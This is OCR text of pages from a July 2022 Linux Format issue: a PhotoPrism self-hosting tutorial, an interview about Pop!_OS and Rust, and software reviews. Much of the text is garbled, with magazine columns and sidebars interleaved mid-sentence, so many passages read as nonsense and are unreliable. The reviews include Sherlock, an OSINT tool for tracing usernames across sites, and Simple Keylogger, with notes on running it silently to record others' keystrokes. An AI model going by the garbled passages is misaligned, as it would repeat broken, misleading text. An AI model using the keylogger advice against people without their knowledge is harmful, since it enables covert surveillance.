everything you do and say, both online and in the real We wanted our solution to be as much like Google
like the idea
of their faces world, is unnerving – and perhaps a little naive. Can Photos as possible, for the simple reason that Google
being scanned you be sure that no-one at Google HQ is ogling the Photos is the absolute bees’ knees in terms of usability
categorised lascivious images of your significant that you took last and intuitive interface. There’s a reason that Google is
and stored in night over dinner, or checking out your beach-ready, the fourth most valuable company on earth – and it’s
your private speedo-clad dad-bod on Brighton beach. Of course you because it makes kick-ass, easy-to-use products.
database, you can’t. At the very least, it’s prudent to be worried about We also wanted something that was in active
can disable offending the Google automatic censors. development, with a regular update and release
TensorFlow And your photos exist at the discretion of whoever schedule, and that has a roadmap for the future. Not a
functions or
holds them. You may think that Google will keep your piece of software that started off as a great idea, and
just facial
precious snapshots safe forever, but it won’t. If you’re then fell by the wayside as dev teams became distracted
recognition in
the docker- inactive for two years, Google will straight up delete your by other projects, fast cars or the lure of filthy lucre.
compose.yml photos. If you go over the storage limits of your account, In the end we decided on PhotoPrism. Although still
Google will delete some to make space. It’s not perfect. not an entirely finished product, it’s extremely usable,

76 LXF290 July 2022 www.linuxformat.com

 LXF Server TUTORIALS

and head and shoulders above the competition.

PhotoPrism has been in development for several years,
and new releases are pushed out with a regularity that a
gastro-intestinal consultant would envy. New features
invariably improve the product, and compatibility is
taken care of out-of the box, because PhotoPrism
supports most popular image, video and RAW formats,
including JPEG, PNG, GIF, BMP, HEIF, HEIC, MP4, MOV,
WebP (Effy’s nemesis–ED) and WebM.

Docking around
As usual the first thing you need to do is pick out a
domain name for your photo stash. As we’re all about
imagination (and don’t want to shell out an addition - “ ~/Pictures:/photoprism/originals ” Face recognition
fiver), we created a subdomain at photos.lxf.guru. to the directory you want you want PhotoPrism to use is powered by
TensorFlow and
Point the DNS A record at the IP address of your VPS instead. for example: is very good at
and visit https://dnschecker.org. Type the domain name - “ ~/my-photo-stash:/photoprism/originals ” its job. There are
in the search box, and select ‘A record.’ When the map Still in this section, you will want to uncomment the 431 pictures of
shows a majority of green ticks, log into your VPS with following line: the author and he
looks fabulous in
$ ssh user@your-vps-ip - “ ~/Import:/photoprism/import”
every single one.
Make sure the system is up to date with sudo apt This means that you’ll be able to create a directory
update and sudo apt upgrade . called import in your home directory, and PhotoPrism
If you’ve been following this tutorial series from the will, unsurprisingly perhaps, import any photos it finds
beginning, then you’ll already have everything you need in there. If you’ve just downloaded multiple gigabytes of
to get PhotoPrism up and running. If not, refer to the archives from your Google Photos account, this is where
tutorial in LXF282, and then come back. you’ll want to put them.
All done? Great. In the environment section, change the Admin
The PhotoPrism developers recommend using password from the default insecure password. It’s
docker-compose to set up and manage their software, probably a good idea to change the database password
and who are we to argue? while you’re at it.
From your home directory, type: Other highlights of environment include the site URL,
$ wget https://dl.photoprism.app/docker/docker- the site title the site caption, and the site description.
compose.yml We set the URL to photos.lxf.guru; the site title to The
You’ll want to edit the file to make it work on your Unofficial Linux Format Photo Archive, the caption to
system, so run: Where all our Linux Photos Live, and we left the site
$ nano docker-compose.yml description blank, because frankly, we were running out
to open it up for editing. of ways to say the same thing.
The first thing you’ll notice is that PhotoPrism’s Finally, move down to the database section of the file
docker-compose file is an absolute monster. It runs to and replace the passwords with the ones that you
146 lines in total, and enables you to configure virtually changed earlier.
everything. You can explore most of these options later. At the top of the file, there is a handy list of
For now, head down to the Storage section of the file. commands to administer your PhotoPrism instance
You’ll see that PhotoPrism has assigned a number of while it’s running. However, because many of these are
directories to itself. By default, it’ll store original photos available through the web interface, we’re not going to
in your Pictures directory. If you plan on using the bother with them right now. You’ll also find an
Pictures directory for other purposes, change this line: exhaustive range of options – from database type to

TAKE BACK CONTROL

The odds are good that most of your storing your data. Click the deselect all Apple, as usual, makes things a little
pictures are taken on an iPhone or checkbox (unless you genuinely want to more difficult and to download all your
Android device and automatically synced download everything you’ve ever put into photos from iCloud. Windows and Mac
to your Apple or Google account. It’s Google). Scroll down until you reach users can manage it easily enough with
something you barely need to set up Google Photos and then put a check in the iCloud desktop application. However,
when you purchase a new handset – the checkbox. there isn’t an official version for Linux. If
the OS makers make sure that it’s as At the bottom of the page, you’ll see a you don’t want to mess around with VMs
easy as possible. Fortunately, they also Next Step button, Click it and select or Wine, visit www.icloud.com then go to
make it fairly easy to pull your photos Export Once. After a day or two, Google your photo library. Select the first photo,
out of the cloud as well. will send you a link to a zip file that then scroll down to the bottom of the
If Google is your current cloud of contains your photos. Note: archives will screen and select the last photo while
choice, then visit https://takeout.google. be split into 2GB chunks and depending holding down Shift. Click the download
com to view the shockingly long list of on how avid a photographer you are, button. Now delete your Apple and
Google products you’ve used that are there may be quite a few of them. Google accounts with no regrets!

www.techradar.com/pro/linux July 2022 LXF290 77

TUTORIALS LXF Server

disabling object recognition. These are well commented,

so feel free to play around. If you break something, you
can always re-download the file.
Save the file with Ctrl+o and exit with Ctrl+x running:
$ docker-compose up-d
will cause your VPS to pull images for PhotoPrism and
MariaDB and set up containers. These are large files and
may take a while. Once the process has completed and
you’re returned to the command line, run:
$ docker-compose ps
to check that PhotoPrism is actually running.
Docker has an alarming habit of downloading more Image classification can be a little patchy. Note the dog which is also a
images than just the one you need, and these may be lizard, the cat which may be a monkey, and this writer’s ‘limousine’.
taking up valuable space on your VPS. Banish them to
the nether with: <VirtualHost *:80>
$ docker image prune -a ServerName your-domain-name.tld
to reclaim your disk space. ProxyPass /api/v1/ws ws://your-vps-ip-address:2342/
Now you need to tell Apache how to deal with api/v1/ws
Photoprism pulls incoming requests, so type: ProxyPassReverse /api/v1/ws ws://your-vps-ip-
GPS coordinates $ cd /etc/apache2/sites-available/ address:2342/api/v1/ws
from you photo and then: ProxyPass / http://your-vps-ip-address:2342/
metadata, making
$ sudo nano photos.conf to create a new Apache ProxyPassReverse / http://your-vps-ip-address:2342/
it easy to view
pictures on a map configuration file. ProxyRequests off
of the world. Type in: </VirtualHost>
Save the file with Ctrl+o, then exit with Ctrl+x.
Activate the conf with sudo a2ensite photoprism.
conf , then restart Apache with:
$ sudo service apache2 restart.

Secure your snaps

Finally, you’ll likely want to secure your site with TLS.
You should already have certbot installed on your VPS.
This tool allows you to obtain and install a security
certificate from Lets Encrypt.
$ sudo certbot
will bring up a list of sites for which a certificate can be
fetched. Choose the number corresponding to your
PhotoPrism site, then press 2 to ensure that http
requests are redirected to https.
The hard work is now done (it wasn’t that hard, was
it?), and you should be able visit your site and log in with
the username admin, and the password you set using
PHOTOPRISM’S SHORTCOMINGS docker-compose. If you want to have a look at the LXF
demo instance at photos.lxf.guru, the password is ‘linux’.
PhotoPrism’s biggest letdown is its mobile app – it doesn’t have one. Once you log in to your PhotoPrism instance, you’ll
Or it does, but the mobile app isn’t compatible with the current server notice that there’s nothing there. You haven’t added any
software, and as far as we can tell, it has been abandoned. photos yet. The easiest way of populating the screen is
There are several workarounds available. If you already have a to transfer a zipped archive of images to the Import
Nextcloud instance, but are looking at PhotoPrism as an alternative to folder on your VPS.
Nextcloud’s incomplete and rather dreadful gallery, then you probably $ scp ~/your-photo-archive.zip user@your-vps-ip-
already have the Nextcloud mobile client installed and uploading address:/home/user/Import/
images to your home server. Then, from your VPS, extract with:
If this is the case, you can easily tell PhotoPrism to synchronise $ unzip Import/your-photo-archive.zip -d Import/
with the photos on your NextCloud server. Click the cog icon, then Remove the zip file with:
select the sync tab. Click on Add Server then fill in the details. You $ rm Import/your-photo-archive.zip
can choose to have PhotoPrism check your NextCloud photo storage Next, tell PhotoPrism to import and index your photo
at intervals varying between every hour and every fortnight. archive with the following:
Another method – for people who don’t have already have piles $ docker-compose exec photoprism photoprism import
of server hardware cluttering up their living rooms – is to use Visit the web interface at this point, and you should
PhotoSync, an app available for Android and iOS. see your photos start to appear, with tags being
Once you’ve installed the PhotoSync app (in the usual way), click automatically assigned, EXIF data extracted, and
the cog icon, then on configure and select PhotoPrism, then enter thumbnails generated. Beware though: with an archive
your server settings. Make sure that you choose Autotransfer so that comprising tens of thousands of photographs, this
photos are uploaded automagically as soon as they’re taken. process can take several days. For our sample set of
72 images, importing and indexing took nine minutes.

78 LXF290 July 2022 www.linuxformat.com

 LXF Server TUTORIALS

This means that as photos are being indexed,

PhotoPrism will try and work out what’s in them and
assign them to categories. This isn’t always perfect, If you’re already
and mistakes are made. We found that goats and horses using a docker-
are often categorised as dogs, dogs are occasionally compose to
thought to be lizards, cats masquerade as monkeys, run a service,
and this author’s battered old 4x4 was mistaken for a append the
contents of the
limousine. But despite the TensorFlow shortcomings,
PhotoPrism
it’s still quite effective at helping you to find what you’re
docker-compose
looking for. file to your
Where TensorFlow really stands out is facial existing one.
recognition – which is not at all surprising if we’re
honest. Click the icon of a person on the left-hand bar
and you’ll be told that there were no people found.
If you already have a Nextcloud instance, it’s simple to synchronise you PhotoPrism will have detected faces, though – it just
photo folders with PhotoPrism. needs you to tell it who they belong to. Click the Show
New Faces option, then type in a name. That person is
Indexing also uses a lot of memory, so if you opted for a now tagged and can be selected from a drop-down list
low-end VPS, make sure that you have a swap file of at when tagging in future. When you start tagging people,
least 4GB. most of the work is manual, but the more it’s used, the
By default, photos are arranged in a large grid (most more it improves. Eventually – usually within a few
recent first) with details such as location, date, file size, weeks of manual tagging – PhotoPrism will reliably and
camera model and resolution displayed underneath. accurately recognise your friends and relations, sorting
By repeatedly pressing the second icon from the right them into folders for your perusal and pleasure.
(located on the top bar), you can change the layout to This writer has been using PhotoPrism for around 18
use smaller icons or even a list view. months and has found that it can faithfully differentiate
between two identical twins of his acquaintance.
Photo features
PhotoPrism’s standout feature is the way it enables you Out of the cloud
to automatically organise your images according to In our opinion, PhotoPrism is the absolute best self-
subject, location, date and the people in them. After all, hosted photo manager out there, but that doesn’t mean
finding one photo among thousands is a difficult task. it’s perfect. Object recognition is patchy, and there are
Remember that gorgeous canalside photo you think quirks, such as the site complaining that it has lost
you shot from a pub beer garden, somewhere in the connection even when it hasn’t.
wilds of Cheshire about three years ago? Of course you Another feature that’s lacking is multi-user support.
do, but you can’t find it because you can’t remember Only one account is supported, and that’s the admin
the exact date. Here’s where PhotoPrism can help you in account. This is great if you’re running PhotoPrism as a
several ways. family photo dump, but for it to support multiple users,
Open the map view by clicking the eighth icon down you would need to run multiple instances on different
on the left menu bar, and you’ll be shown a map of the ports, using different subdomains. It’s not ideal.
world showing clusters where photos were taken. Zoom You’ll have surmised, then, that PhotoPrism is a work-
in using the scroll wheel and the large clusters will in-progress and is being constantly developed by a team
differentiate – becoming smaller and more spread out. of three. It looks and performs great now, and when it’s
Simply zoom in on Cheshire, locate the canals, and scan finally completed at some indefinite point in the future,
along the length until you find the pub. There’s your it will be amazing.
picture right there.
Alternatively, you might remember that what camera
you used to shoot the photo, or that the sky was
predominantly orange, it was taken in April (although
you still can’t remember the year) and that it was taken
outdoors. Using the search drop-down, you can easily
filter and narrow down the search until you find the
picture you’re looking for.

Go with the TensorFlow

Notwithstanding this author’s view that Google is an
irredeemably evil company, it does create outrageously
good software, and a fair portion of it is both open-
source and incredibly useful. One of these pieces of
software is TensorFlow, a software library for machine
learning and artificial intelligence. The developers of Currently, PhotoPrism only supports one user - admin. This will change in the future, but for
PhotoPrism have incorporated it in their own software. now, this is all you get.

CREATE YOUR OWN LXF LIBRARYSubscribe now at http://bit.ly/LinuxFormat

www.techradar.com/pro/linux July 2022 LXF290 79
 TOP
IN-DEPTH Top of the Pop!_OS

OF THE
POP!_OS
System76 developer Michael Murphy shares his Pop!_OS insights with
Linux Format’s self-proclaimed top Pop fan Jonni Bidwell.

eaders in the US who are on We hit up System76 software engineer these have since vanished. It’s a different

R the lookout for a Linux

machine could do a lot worse
than hit up Denver-based
and Pop!_OS maintainer Michael Murphy
to discuss the latest Pop release, a bug
that hit the social media big time and the
story today, where the likes of Dell and
Lenovo will happily sell you a laptop
running Linux rather than Windows. We
System76 and grab one of its fine challenges faced by Gnome-based distros also have speciality manufacturers such as
desktops or laptops. Nope, this isn’t an that don’t want to look like Gnome. And Purism and Pine, which both make Linux
advertorial, this is just fact. We’ve been not content with all that activity, System76 laptops and phones. And it would be
impressed by System76’s efforts ever is big into the Rust programming language. remiss not to mention UK-based
since it launched its first machines in the So much that the company is making a Entroware. But consider System76, which
mid-naughties. We’d recommend them new Rust-powered desktop. We’re sure you set up shop in Denver, Colorado back in
to UK readers too, but transatlantic want to hear about it just as much as we 2005, and has been making finely crafted
shipping is a little pricey. Oh, and the do. So read on... Linux machines ever since.
reference to the 1776 Hoping to cause an

RUST’S APPEAL IN A NUTSHELL

American Revolution open source revolution
twinges our government- (and independence from

“After spending some time with the

mandated nationalistic proprietary software), the
sensitivities a tad, too. first machines shipped

alpha, it was clear to me that Rust was

Be that as it may, were desktops running
System76 has also been Ubuntu 5.10 Breezy

the future of software development.”

shipping its own Linux Badger. Skip on a few
distribution since 2017. And years and the company
it’s not just for its hardware now has a couple of
too – it works great on other PCs. Far from Linux servers have been widely dozen employees, does its manufacturing
being just another Ubuntu spin, Pop!_OS available for almost as long as there has in-house, open sources its hardware
runs a different bootloader, uses its own been Linux. But for a long time it was designs, and makes its own OS as well.
shell (dubbed COSMIC, for Computer remarkably difficult to buy a desktop PC Pop!_OS, despite the slightly awkward
Operating System Main Interface with Linux pre-installed, never mind a punctuation, has enjoyed a huge amount
Components), and even has its own power laptop. A few smaller vendors popped up of popularity thanks to being available to
scheduler. Which makes it ideal for laptops. at the turn of the millennium, but most of everyone, not just owners of System76 kit.

80 LXF290 July 2022 www.linuxformat.com

 Top of the Pop!_OS IN-DEPTH

Rust. And it was through his Redox OS work that

Michael joined the System76 team in 2018. “My initial
task was a collaborative development with elementary
OS to develop a Linux distribution installer backend in
Rust with a GUI frontend in Vala. Since then, I’ve worked
on a variety of Pop projects, and have tried to maintain
an active presence supporting the Pop community on
Reddit and Mattermost.”
So there’s a connection to one of our other favourite
Ubuntu-based distros: “Cassidy [James-Blaede] was
doing UX work for Pop before he joined elementary OS
full time. He designed the earlier GTK projects in Pop
and it’s the reason why the Pop Shop and installer are
forks of the elementary AppCenter and installer.
However, elementary has always leaned in heavily on
Vala as its favourite programming language, and we
prefer Rust.” The current Pop desktop is called COSMIC,
Michael Murphy manages to spend time – at least an hour or two – but it’s a not very well-kept secret that System76 is
outdoors in between his Rust projects and Pop!_OS work. working on its own Rust-powered desktop environment
of the same name.
We talked to Michael – Pop developer, Rust
aficionado and community man (@mmstick on Pop’s A COSMIC undertaking
social media) – to find out more about the OS with We asked Michael how COSMIC fits in with its Gnome
onomatopoeia. His Linux journey began back in 2008. underpinnings. “The existing COSMIC desktop is purely
“Linux was a miserable desktop experience back then written in JavaScript as a series of ‘monkey patches’ to
for anyone with a PC that happened to have AMD a GNOME Shell JavaScript process, which binds directly
graphics,” said Michael. “Despite all of the issues that to a C process with access to C libraries. There’s much
I had with applications consistently crashing, kernel to dislike about the current state of the implementation,
regressions and hardware which was poorly supported, from instability, performance issues, and most certainly
I believed that there was a lot of potential in the open a lot of undiscovered security vulnerabilities.
source movement. Linux desktops would, some day, be “As I was developing pop-shell, there were a lot of
a viable replacement for Windows once hardware restrictions that I couldn’t work around, and many bugs
manufacturers start supporting it”. that remain unresolved. For instance, I can’t shrink a
Oh gosh, we remember the proprietary Fglrx driver. window below its minimum width and height to fit into a
Fortunately those days are gone. As are Michael’s tile. Any attempt to work around that caused the shell to
college days. Realising a traditional IT path would have crash from memory safety errors.”
led him down the dark roads of C#, .NET and Java, he As to why System76 was such a big fan of Rust
opted out after two years and chose Linux instead. Michael said, “There are many reasons to like Rust, and
“Linux was a much better environment to work in, many to dislike C and C++. C is now 50 years old as a
in that had some sense of purpose in life behind it,” said programming language, and C++ inherits a lot of the
Michael. A few years later, and he had found his calling. flaws while adding on additional flaws. Both were
“By 2015 I had experimented with a lot of different designed before the internet was a concept. There’s
programming languages, and Rust was nearing release. decades of programming language theory research
After spending some time with the alpha, it was clear to that’s completely absent from these designs, and even
me that it was the future of software development. The
Rust ecosystem was developing rapidly, GTK bindings
were increasingly functional, and I joined Redox OS to
experiment with designing a system shell while making
GTK applications on the side.”

Speedy Rust projects

Rust is becoming extremely popular. The number of
projects described as “a lightning fast {} programmed in
Rust” on GitHub is getting ridiculous (Alacritty, Joshuto,
Lapce). We had the pleasure of meeting Rust champion
(and open source titan) Jim Blandy at OSCON back in
2015 (see LXF209). He told us that after decades of
people using C and C++ and overflowing buffers, “the
jury is in, the experiment has run, humans can’t write
that code, they can’t be trusted”. So we know that after
so many decades of trying to write memory-safe code,
we need a new approach. And that approach is through
new languages like Rust, Swift and Go.
Redox OS (www.redox-os.org) is Pop founder Jeremy Pop!_OS has a much nicer installer compared to, say, Ubuntu, and it comes complete with a
Soller’s microkernel-based, Unix-like OS that’s written in refresh/repair option for when things go wrong.

www.techradar.com/pro/linux July 2022 LXF290 81

IN-DEPTH Top of the Pop!_OS

a lot of research that was ignored by C at the time it Pop was launched in 2017, when Ubuntu abandoned
was designed. its Unity desktop in favour of Gnome. Its own website
“Both of these languages peaked a long time ago. (https://pop.system76.com) describes Pop as “an
It’s reckless to continue developing new projects with operating system for STEM and creative professionals
them. There’s an absurd amount of money that’s been who use their computer as a tool to discover and
invested into trying to work around some of these create”. And we don’t dispute it. Since its inauguration
design flaws in compilers, and no matter how much it’s gone from strength to strength, introducing a new
research goes into these efforts the end result isn’t good tiling window mode, a helper for managing TensorFlow
enough. There’s perhaps an even greater amount of installations, a bespoke power scheduler and more.
money lost trying to resolve common bugs and
vulnerabilities caused by its use. We need to be more Linus Tech Tips and Pop!_OS
honest about its usage and consequences. Even Yet Pop has also made headlines for somewhat less-
Microsoft acknowledged that 70 per cent of its fortuitous reasons. Back in September, famed Youtube
vulnerabilities are caused by it. channel Linus Tech Tips (LTT) took on a challenge to
“Many people might answer that memory safety is use Linux as a daily driver. The result didn’t exactly
the main reason to use Rust, but it’s a side-effect of reflect glowingly on Pop!_OS, because Linus (not Linus
three features in Rust that are beneficial in more ways Torvalds) at one point tried to install Steam, and due to
than memory safety alone. These features are the a bug was met with Apt wanting to remove a whole
aliasing XOR mutability rule, the ownership model, and bunch of important system packages. Apt had the sense
type markers.” Okay Michael, you might need to explain to realise this may be unwanted, but its defence at the
these for us. Use the box (below) for your answers. time was to issue a prompt requiring the user to enter
the phrase “Yes, do as I say!”. Duly, Linus did as the
prompt said, and duly his system was hosed.
Michael explained how things went south. “The issue
happened because of a Systemd update pushed to
Launchpad that had only built and published the amd64
packages. Steam depends on the i386 libraries from
Systemd, so it wasn’t possible to install. At the time, we
depended on Launchpad for our system repository, but
Launchpad recently started blocking i386 builds of
packages unless the packages were on an allowlist. Up
until that point, Systemd packages we published were
on that allowlist, but we backported a newer version of
Systemd whose version wasn’t permitted.
“We noticed the issue immediately after and had it
fixed within an hour. What we didn’t know was that LTT
was livestreaming installing it at this moment. Rumours
started spreading about a Pop incident because the
System76 makes
beautiful Linux PCs, such
livestream was private and would be public in a week.
as the Thelio Mira pictured Once it had gone public there was a never-ending
here with its Launch keyboard. stream of accusations and demands for us to fix this

THE RUSTY TRINITY

Okay Michael, tell us about Aliasing again after it’s been passed into a shared across threads. This makes
XOR mutability, ownership models, and function. This is very useful for API developing multi-threaded applications
er, that other thing you said. “Aliasing authors because they can ensure that much easier.
XOR mutability means that a value may a value that should be used once is “The thing that I particularly like about
either be lent with multiple read-only consumed on use. Type markers are these features is that they’re what
references, or lent with a single mutable another interesting compile-time makes the self-documenting nature of
reference,” explains Michael. “It also mechanism to prevent misuse of values Rust code possible. You’ll always know
means that you can’t pass ownership in APIs. The compiler uses these to when a function is expected to modify
of a value while it’s being actively prevent misuse of values being moved or a reference, and ownership transfers
referenced. This is technically a best make it possible to have compile-time
practice to follow regardless of what state machines and one-use tokens.
programming language that you use, but They also raise the minimum bar of code
it wasn’t possible to verify at compile quality so that these best practices are
time until Rust. adhered by all Rust code. And they make
“The ownership model in Rust simply some interesting mechanisms possible,
declares that any variable passed by such as compile-time reference counters
value into a function is transferring and the GhostCell research paper (see
ownership of the value to that function. https://plv.mpi-sws.org/rustbelt/
This means that you can’t use a variable ghostcell/paper.pdf)”.

82 LXF290 July 2022 www.linuxformat.com

 Top of the Pop!_OS IN-DEPTH

issue (which had already long been fixed by this point),

wanting to know why it happened.
“I’m not sure why Apt resolved the missing package
conflict in that way. It may have been trying to
downgrade to the Ubuntu version of Systemd and
reasoned that pop-desktop needed to be removed with
it, which would mark all of the base dependencies as
orphans for removal. Yet to be fair to Apt, pop-desktop is
marked as an essential package, so it did warn that the
process would remove such packages and was
dangerous. The Pop Shop doesn’t permit that kind of
operation from proceeding, instead giving an error. So it
was only possible to enter ‘Yes, do as I say!’ from the
terminal. For everyone else, the only intervention
necessary was to wait for the next Apt update to have
an updated package list with the missing packages in it.” Look at these fine backgrounds, and yes we did notice the similarities between Pop!_Shop and
elementary OS’s app store. Nothing escapes our attention on Linux Format. (But deadlines?–ED)
Assurances on Pop!_OS’s quality
We asked Michael if QA processes had changed as a shared system libraries at runtime, but these games
result of this fracas, and they have. Pop!_OS doesn’t rely aren’t always compatible with the versions in the
on Launchpad and PPAs at all now: “This accelerated our repository. CSGO has been a source of many
desire to migrate away from Launchpad and host from complaints because it depends on an older version of a
the same repositories that QA uses for testing everything system library no longer offered in Ubuntu beyond
internally. The QA team has always been improving its 20.04. Keeping Steam isolated in a sandbox will allow
exhaustive QA process. you to keep a lean system installation without the need
“Developments are an iterative process. Past bad for 32-bit packages, and system refreshes will retain the
experiences become test cases for future developments. Steam installation without needing to be reinstalled.
The QA team added more items to their checklists, and It’s not easy being a maverick OS, and Pop has
continued working on an automated testing system. encountered more than its fair share of friction. Latterly,
Steam is installed regularly on an automated system. this has been around the theming of GTK apps and
Steam is also now part of the Systemd update checklist. libadwaita, but “not working with upstream” has been a
Most of us have Steam installed on our systems, either common accusation directed at anyone doing things
because we play games ourselves or just want to be differently in the Linux community. Michael elaborated:
another point safeguarding it. So there’s really no need “The single greatest community interaction issue for
to be causing concern for Steam.

MICHAEL VS THE GATEKEEPERS

“Launchpad is a shared hosting service with shared
build servers that aren’t equipped with Threadrippers.

“There’s this belief that only a certain

On the one hand the bandwidth from the service was
free, but on the other it had many restrictions on how we

few are permitted to exist, that all who

can package our software, how quickly we can release
updates, and the i386 issue was a serious conflict for us.

come after owe their existence to them.”

Given that we already had a packaging CI internally,
migrating to that solution was always a long-term goal.
“There is no PPA anymore in Pop besides the 18.04
and 20.04 releases. We’ll likely replace the 18.04 and everyone who develops software for Linux is
20.04 PPAs with apt.pop-os.org after the 22.04 release gatekeeping by Linux users, further compounded by
to bring everything together into one roof. I’d also add mob mentality. Any progress made by someone other
that the Flatpak version of Steam is available to install than the established few is automatically assumed to be
out of the box on Pop. I’d like to see everyone switch to an attack against their favourite desktop or distribution.
using this long term because it has the highest level of “Every modification made to Pop is seen as not
compatibility regardless of the version of Linux that contributing to Ubuntu. Every modification to GNOME
you’re using. Many games on Steam rely on linking to is seen as not contributing to GNOME. COSMIC is
considered an attack against Linux desktop adoption.
There’s this strong belief that only a certain few are
permitted to exist, that all who come after owe their
existence to them, and must write software exclusively
for them. Contributing to something that already exists
isn’t always the easiest or best option.
“There are always going to be differing opinions
on UX and implementation details, and sometimes a
project that’s already well established is unable to adapt
to new changes as a new design could. Often it’s easier
and quicker to develop something new from scratch
than to inherit an older codebase written by someone
Pop has window tiling, PipeWire and perhaps the prettiest backgrounds. else in a 50-year-old programming language.”

www.techradar.com/pro/linux July 2022 LXF290 83

The home of technology

techradar.com
THE BEST NEW OPEN SOURCE SOFTWARE ON THE PLANET

HotPicks
CherryTree Sherlock Simple Keylogger Siren
MediaInfo Mechvibes yt-dlp Eternal Lands
Mayank Sharma
After slaving, er, scribbling
for Linux Format for over a
decade, Mayank Sharma
likes to think of himself as
LXF’s man Friday.
Speed Dreams Snap Backup ugrep

NOTE-TAKING TOOL

CherryTree
Version: 0.99.47
Web: www.giuspen.com/cherrytree

ote-taking programs are usually just electronic

N versions of Post-it notes, or simple notebooks.

CherryTree is different because it’s a CherryTree is fairly intuitive to use, but comes with a detailed multilingual user manual.
hierarchical note-taking application. The hierarchical
method of note taking not only helps you scribble down The latest release is a minor version that adds
notes in a legible, clear and simple manner, but also support for latex maths equations, as well as several
shows the hierarchies of certain tasks in an easy-to- other features for advanced users, particularly
understand manner. developers. CherryTree is available as a Flatpak, and
In the hierarchical note-taking method, ideas are also offers precompiled binaries for Ubuntu via a PPA
divided into subgroups. This works well when breaking and for Fedora via COPR.
down lengthy meeting notes, or grouping separate ones
based on their content or agendas. NOTE-TAKING WITH CHERRYTREE
CherryTree treats everything as a node, and each
node can have child nodes, enabling you to easily
organise your information. Child nodes can have their 1
own children with independent properties.
CherryTree is chock-full of features. Its notes can be
either plain text or rich text, with their own foreground
and background colours, or make use of its automatic
syntax highlighting for a variety of common
programming and markup languages.
The nifty little program also offers a spell check,
with the help of gspell, and can edit (resize, rotate) 3
and embed images along with the text as well. You 4
can create multi-level lists such as bulleted, numbered,
to-do and switch between them with ease. Even more
2
impressively, CherryTree can also handle simple tables,
that you can either import or export as .csv files. The
application can generate a table of contents using the
notes’ hierarchy, and also makes it possible for you to Menu Bar Note editor
password-protect your notes. 1 Despite being a note-taking program, 3 This is where you type the actual content
The good thing about CherryTree is that it can be CherryTree’s menu can rival those of full- of the note.
used to share information with other members of the fledged text editors.
Rich text
team. CherryTree can detect when the file has been
Tree View 4 The note can contain hyperlinks, images,
changed on disk and reload the content, but it’s not 2 This is where CherryTree displays a as well as bulleted text and more.
designed for concurrent use, and it isn’t advisable to document’s hierarchical structure of nodes.
use the tool for live collaboration. You can add nodes from here.

www.techradar.com/pro/linux July 2022 LXF290 85

HOTPICKS

In addition to
OSINT TOOL displaying the
websites where
the username was

Sherlock found, the tool

can also output
sites where the
username was
Version: N/A not found.

Web: https://sherlock-project.github.io

pen source intelligence (OSINT) is the

O technique of gathering data and information

that’s publicly available. Sherlock is an
important command line tool that quickly collates such
information. The nifty little tool can find any username
across over 350 popular websites and social networks. website. For instance, the Telegram profile only displays
Sherlock requires Python 3.6 or higher, and works a profile picture of the user and gives the ability to send
on MacOS, Linux and Windows. Installation is a simple a message to the user. However, the URL for social
matter of cloning the repository, and installing the networks like Twitter and Facebook will bring up all of
required components. You can then run the script the user’s public posts.
to query for a particular username across its list of You can use Sherlock to create a CSV file of the
supported websites and social networks. You can results or save the output to a folder for later analysis.
also specify multiple usernames at the same time. The tool can also be used to make requests over Tor, as
One of the purposes of OSINT is to dig up well to use new Tor circuits for each request. Routing
information about yourself. Anything that can be found the queries over Tor increases runtime, and requires Tor
by OSINT tools can also be found and potentially to be installed. For faster results you can also direct
abused by threat actors. For instance, Sherlock results Sherlock to limit its analysis to specific websites. You
will return the user’s profile page if it’s found on any of can also speed it up by limiting the time it waits for a
the supported websites. The URL could either display response from a website. A longer timeout will be more
simple profile information about the user, or show their likely to get results from slow sites, but this may cause
complete public activity depending on the queried a long delay to gather all results.

The keylogger
KEYLOGGING TOOL will record all
keystrokes,
including the arrow

Simple keys, making for a

rather jumbled log
file, which isn’t of
much use without

Keylogger proper filtering.

Version: 2.7.1 Web: https://simple-

keylogger.github.io have to leave your powered-on computer, a keylogger
can tell you if someone accessed your computer in your
imple Keylogger is a program that records your absence and how. Finally, some people also use

S keystrokes, and saves them in a log file on your

local computer.
keyloggers for self-analysis to capture their own
interactions with the computer.
You’ve probably heard of keyloggers for their use by Like all keyloggers, Simple Keylogger works in
threat actors for unethical purposes, such as stealing the background logging all your keystrokes in a
passwords and reading private data. However, there are timestamped log file under the current directory. It’s
many legitimate uses for a keylogger as well. written in Python, takes up very little in the way of
For instance, business users can use a keylogger to system resources, and works on Windows and MacOS
monitor their employees (what?!?–ED) in order to in addition to Linux.
ensure that they don’t venture near sensitive files or You can install Simple Keylogger in Linux using
copy or leak any confidential files. Similarly, schools Python’s pip package installer. Once it’s installed, you
and other institutions track keystrokes to deter can run it in the background with the nohup command
students from using banned words, in a bid to deter to silently log all keystrokes. Once it’s up and running,
hate speech and prevent online bullying. the utility will log all the keystrokes inside a time-
Keylogging also has an important role as a parental stamped .log file. When you’re done recording, use the
control tool to help you track what your children are fg command to bring the keylogging command to the
doing on the computer in your absence. In fact, if you foreground, and then use Ctrl+C to kill it.

86 LXF290 July 2022 www.linuxformat.com

 HOTPICKS

All operations
AUDIO PLAYER in Siren can be
controlled from
the keyboard using

Siren the predefined

keybindings.

Version: 0.10
Web: www.kariliq.nl/siren

iren is a text-based audio player that has all the

S necessary features to enable you to enjoy your

music, without exerting a footprint on your
computer’s resources. It can play audio through various
sound libraries and servers including sndio, PulseAudio, either play back audio files or add them to the library.
ALSA, OSS and Sun audio. Similarly, it supports a large Finally, there’s the queue view that shows all the tracks
number of file formats including Ogg Vorbis, MP3, Opus, that have been added to the queue. Tracks in the queue
FLAC, AAC, WavPack, WAVE and AIFF. will be played back before those in other views, and will
Siren’s user interface consists of three areas. The be removed automatically after playback. Of course,
bottom line is the status line. It’s used to display error Siren can display only one view at a time, but each view
and informational messages and to enter commands can be selected with the select-view command or the
and search queries. The two lines above the status line default key bindings.
show playback-related information, such as the Besides Linux, Siren also runs on MacOS and *BSDs.
currently playing track and the volume level. It isn’t available in the repositories of the popular Linux
The majority of the screen is used to display one of desktop distros, although its users have made pre-
the four supported views. There’s the library view that compiled binaries for OpenSUSE and Arch Linux, as well
displays all tracks in the library, followed by the playlist as for several BSD variants including FreeBSD,
view that shows the loaded playlist. Browser view shows OpenBSD and DragonFly BSD. Others will have to
the contents of a directory, which by default displays compile it manually following the simple instructions in
